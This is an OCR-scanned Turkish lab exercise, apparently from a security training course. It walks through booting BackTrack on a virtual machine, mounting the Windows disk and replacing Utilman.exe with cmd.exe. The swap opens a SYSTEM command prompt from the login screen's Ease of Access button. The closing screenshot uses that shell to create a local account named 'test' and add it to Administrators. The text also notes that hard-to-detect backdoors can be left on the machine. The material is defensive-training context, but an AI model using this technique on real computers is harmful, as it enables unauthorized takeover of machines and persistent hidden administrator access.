Uygulama 1 - 'Ease of Access' Ozelligi ile Bilgisayarin Ele Geg¢irilmesi
Onbilgilendirme

e  Bu uygulama istemci WGE-PC lzerinde gerceklestirilecektir.
e Buuygulama, bilgisayar kapali iken gerceklestirilecektir.

Bilgisayarin Boot Ayarlarinin Yapilmasi

Uygulamalarla birlikte verilen “ISO" dizini altindaki BT5R3-GNOME-64.iso adl ISO dosyasi CD-ROM'a
alinir. Bu islem i¢in 6nce sanal makina lzerinde sag tikla “Settings” segilir.
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Sekil - 1: BackTrack imajinin CD-ROM'a Gosterilmesi

Sonrasinda bilgisayar acildiginda da CD-ROM'u gérmesi saglanir. Bu islem icin 6nce donanimlar
arasindan “CD/DVD (IDE)” segilir, daha sonra “Use ISO image file:” ile uygulamalarla birlikte verilen
ISO dizini altindaki BTSR3-GNOME-64.iso dosyasi asagidaki secildikten sonra OK ile ISO tanitma isi
tamamlanmis olur.
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Sekil - 2: CD-ROM Ayarlarinin Gergeklestirilmesi

Sonrasinda bilgisayari agmak igin "Power on this Virtual Machine" secenegi ile bilgisayar baslatilir.
Bilgisayar acilmaya baslarken agilma ekranina tiklayarak aktif hale getirdikten sonra F2 tusuna ard
arda basarak BIOS seceneklerine gelinir. BIOS ayarlarindaki Boot sekmesinde, ok tuslari ve +/- tuslari
kullanilarak CD-ROM siiriiclist en Uste ¢ikarilarak bilgisayarin CD-ROM'dan baslatiimasi saglanir.
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Sekil - 3: BIOS Ayarlarinin Gergeklestirilmesi- 1



Sonrasinda gerceklestirilen ayarlarin kaydedilmesi icin "Exit" sekmesinde "Exit Saving Changes"
secenegine gelinir ve "Enter" tusuna basilir. Gelen uyari mesajinda "Yes" ile adim ilerletilir ve
bilgisayar yeniden baslar.

Main Advanced Security Boot

Item Specific Help

Exit Discarding Changes

Load Setup Defaults Exit System Setup and
Discard Changes save your changes to
Save Changes CHMDS.

Setup Confirmatiom

Save configuration changes and exit nouw?
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Sekil - 4: BIOS Ayarlarinin Gergeklestirilmesi - 2

Not: Degisikliklerin kaydedilmesi icin F10 tusuna da basilabilir.

BackTrack Ara Yiiziine Gecis Saglanmasi

Bilgisayar yeniden basladiktan sonra ilk olarak asagidaki ekran ile karsilasilir. Bu ekranda Enter tusuna
basilarak isletim sistemine girilir veya bir siire sonra isletim sistemi kendini baslatacaktir.

ISOLINU® 3.63 Debian-2888-87-15 Copyright (C) 1994-2888 H. Peter Anvin

Sekil - 5: BackTrack Ara Yiiziine Gegilmesi - 1

Eger asagidaki gibi bir ekran ile karsilasilirsa, "Default Boot Text Mode" segilirek "Enter" tusuna
basilir.



BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics — No Drive—or-8u

BackTrack Text — Default Boot Iexi-todes
BackTrack Debug - Safe Mode

BackTrack Memtest — Run memtest

Hard Drive Boot - boot the first hard digk

<< bhack | track [=

Press [Tabl to edit options

Automatic boot in 26 seconds...

Sekil - 6: BackTrack Ara Yiiziine Gegilmesi - 2

Gelen ekranda "startx" komutu calistirilarak ara ytize gegis yapilir.

8253281 e1000 0000:02:00.0: PCI INT A -> GSI 18 (level, low) -> IRQ 16

8390871 Floppy drive(s): £d0 is 1.44M

8570221 FDC 0 is a post-1991 82077

8686271 nptsas 0000:03:00.0: PCI INT A -> GSI 18 (level, low) -> IRQ 18

8776671 mptbase: ioc®: Imitiating bringup

2068221 Ref ined TSC clocksource calibrat 1995.188 MHz.

2079401 Switching to clocksource tsc

Z494791 e1000 0000:0Z2:00.0: ethd: (PCI:66MHz:3Z2-bit) 00:50:56:8f :26:0c

2505731 el1000 0000:02:00.0: ethd: Intel(R) PRO-1000 Hetwork Connection

2696501 iocO: LSISAS1068 BO: Capabilities={Initiator}

4302761 scsi2 : ioc®: LSISAS1068 BO, FuRev=01032920h, Ports=1, Max(=128, IRQ=18
4410361 mptsas: ioc@: attaching ssp device: fw_chammel 0, fu_id 0, phy 0, sas_addr 0x5000cZ9af 1045h

NNNNNNNE ==

4430031 scsi 0: Direct-Access UMuware Virtual disk 1.0 PQ: 0 ANSI: 2
4439831 =d [sdal 31457280 512-byte logical blocks: (16.1 GB-/15.0 GiB)
4445721 sd 2:0:0:0: [sdal Write Protect is off

4451741 [sdal Cache data unavailable

4457101 [sdal Assuming drive cache: write through

4472861 Attached scsi generic sgl type 0

44?9801 [sdal Cache data unavailable

4484991 : [sdal Assuming drive cache: write through

4495171 sdal sdaZ sda3

4503981 F : [sdal Cache data unavailable

4509161 :0:0:0: [sdal Assuming drive cache: write through

4514261 B [sdal Attached SCSI disk

inux bt 3.2.6 #1 SHP Fri Feb 17 10:34:20 EST 2012 x86_64 GHU-Linux

Z.
Z.
Z.
Z.
Z.
Z.
Z.
Z.
Z.
Z.
Z.
Z.

System information as of Mon Apr 29 17:24:10 EDT 2013

System load: 0.58 Memory usage: 6%  Processes: 1
Usage of <home: unknown  Swap usage: 0x  Users logged in: 1

Graph this data and manage this system at https:.~landscape.canonical.com/
T startx_

“The quieter you become, the more you are able to hear.”

Sekil - 7: BackTrack Ara Yiiziine Gegilmesi - 3

Windows Isletim Sistemine Ait DoSya Sistemine Erisilmesi

BackTrack ara yuzi agildiktan sonra, komut satiri agilir ve Windows isletim sistemine ait olan dosya
sistemine erisilir. Bu amagla /media dizinine gidilir.



Applications Places System [5_] d Mon Apr 29, 5:33 PM

;Q. A~ v x root@bt: /media

Install BackTra File Edit View Terminal Help

/media

Sekil - 8: Dosya Sistemine Erisim Saglanmasi - 1

Not: Eger bu dizin altinda Windows isletim sistemine ait disk listelenmezse mount islemi
gerceklestirilmelidir. Bu islemin en kolay yolu list mentideki Places segenegindeki Windows isletim
sistemine ait dosya sistemini segmektir.

Applications [Places System [5_ | Mon Apr 29, 5:34 PM
r Home Folder

;& Desktop

Install Back'ﬁ@ Computer
. System Reserved

- 15 GB Filesystem

. Uygulamalar
. Floppy Drive

m Network

Connect to Server...

Search for Files...

Sekil - 9: Dosya Sistemine Erisim Saglanmasi - 2

Mount islemi sonrasinda masaiistiine Windows isletim sistemine ait dosya sisteminin eklenecek ve
/media dizini altinda bu dosya sistemi listelenecektir.



Applications Places System [5_] 1 [ Mon Apr29, 5:35PM

5 i ~ v X root@bt: /mecﬁa
;Q\ File Edit View Terminal Help

Install BackTrack

= ety 3
- :/media# |

15 GB Filesystem

<<

Sekil - 10: Dosya Sistemine Erisim Saglanmasi - 3

Not: Gelen dosya sistemine ait etiket adi her sistem igin farklilik gdsterebilir.

Utilman Aracinin CMD Araci ile Degistirilmesi

Windows isletim sisteminin dosya sistemine erisim saglandiktan sonra, 6nce "Utilman.exe" araci
"Utilman.yedek" olarak degistirilir, sonrasinda "cmd.exe" aracinin kopyasi "Utilman.exe" olarak
olusturulur. Bu islemleri gergeklestirmek icin gerekli komutlar asagidaki gibidir.

cd <Dosya Sistemi Adi>/Wiindows/System32
mv Utilman.exe Utilman.yedek

cp cmd.exe Utilman.exe
Applications Places System [5_] d [ MonApr29, 5:43PM

aQ ~ v x root@bt: /media/F634DD0034DCCA4B1/Windows/System32
File Edit View Terminal Help

Install BackTrack

cdrom

- cdrom F634DDB34DCC4BL
' . /media# cd F634DDOO34DCCABI/\

15 GB Filesystem media/F634DD8034DCC4B1/Windo
:/media/F634DD0634DCC4B1/Windo )
:/media/F634DDO034DCC4B1/Windows/Syste

Sekil - 11: Utilman Aracinin CMD Araci ile Degistirilmesi - 1

Masaustunde olusan dizinden Windows/System32 dizine girildiginde Utilman.exe ve Utilman.yedek

dosyalarinin mevcut oldugu gézlenmektedir.
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Sekil - 12: Utilman Aracinin CMD Araci ile Degistirilmesi - 2

CD-ROM Ayarlarinin Varsayilan Hale Déndiiriilmesi

Utilman araci yerine CMD araci getirildikten sonra, CD-ROM ayari eski haline getirilmelidir. Bu amagla
aygit durumundan "Connect" ve "Connect at power on" segenekleri secilmemis hale getirilir. Ayrica,
secilen aygit tipi olarak "Client Device" belirtilir.

firtual Machine Setting
Hardware | Options
Device status
Device Summary
C ted

T Memory 1GB [ connec

D Processors 1 |:| Connect at power on
it Hard Disk (SCST) 15 GB N

*)CD/DVD (IDE) Using file 1:\AGG_Foitimler\AGG~.. | C?““ECW“
[ Floppy Auto detect () Use physical drive:
ElNetwork Adapter Bridged (Automatic) Auto detect
EJDispIay Auto detect

@) Use IS0 image file:

I:\AGG_Egitimler\AGG-Windows:

[ QK ] [ Cancel ] [ Help ]

Sekil - 13: CD-ROM Ayarlarinin Gergeklestirilmesi - 1



Bu islem sonrasinda CD-ROM'un ¢ikarilacagina dair bir uyari mesaji ile karsilasilir. Bu uyari mesaji
"Yes" ile onaylanir.

Bu adimdan sonra, bilgisayar yeniden baslatilir.

Uygulamanin Test Edilmesi

Yukaridaki adimlar uygulandiktan ve bilgisayar acilis ekrani geldikten sonra, "Ease of Access"
butonuna basildiginda komut satiri baslatilacaktir. Komut satiri, SYSTEM adi verilen Administrator
kullanicisindan bile daha yetkili bir kullanici haklari ile calismaktadir. Bu haklarla bilgisayarda kayit
degerleri degistirilebilir, yerel yonetici olabilecek bir kullanici olusturulabilir, bilgisayarda kesfedilmesi
zor acikhklar birakilabilir.

Asagidaki 6rnekte bilgisayarda test isimli bir kullanici olusturularak yerel yonetici grubuna
eklenmistir.

B C:\Windows\system32\utilman.exe

C:sWindows em32 >vhoani
nt authori tem

G Windowsssystem32net user test Aal23d456 radd
The command completed successfully.

IC:sWindowsssystem32¥net localgroup Administrators test sadd
The command completed successfully.

C:~Windows“system32>net user test

User name test

Full Hame

Comment

User’s comment

Country code BBA (System Default)
Account active Yes

Account expires Hever

last set 4,29,2813 108:11:8%9 FH
expires 6/18.-2013 108:11:8%9 FM
changeahle 4,30-2013 18:11:87 PH
regquired Yes
change password Yes

Workstations allowed All
Logon script

User profile

Home directory

Last logon

Logon hours allowed All
Local Group Memberships *fldministrators

Global Group memberships =*Mone
The command completed successfully.

IC:~Windowsssystem32>

/ Enterprise

Sekil - 14: Uygulamanin Test Edilmesi



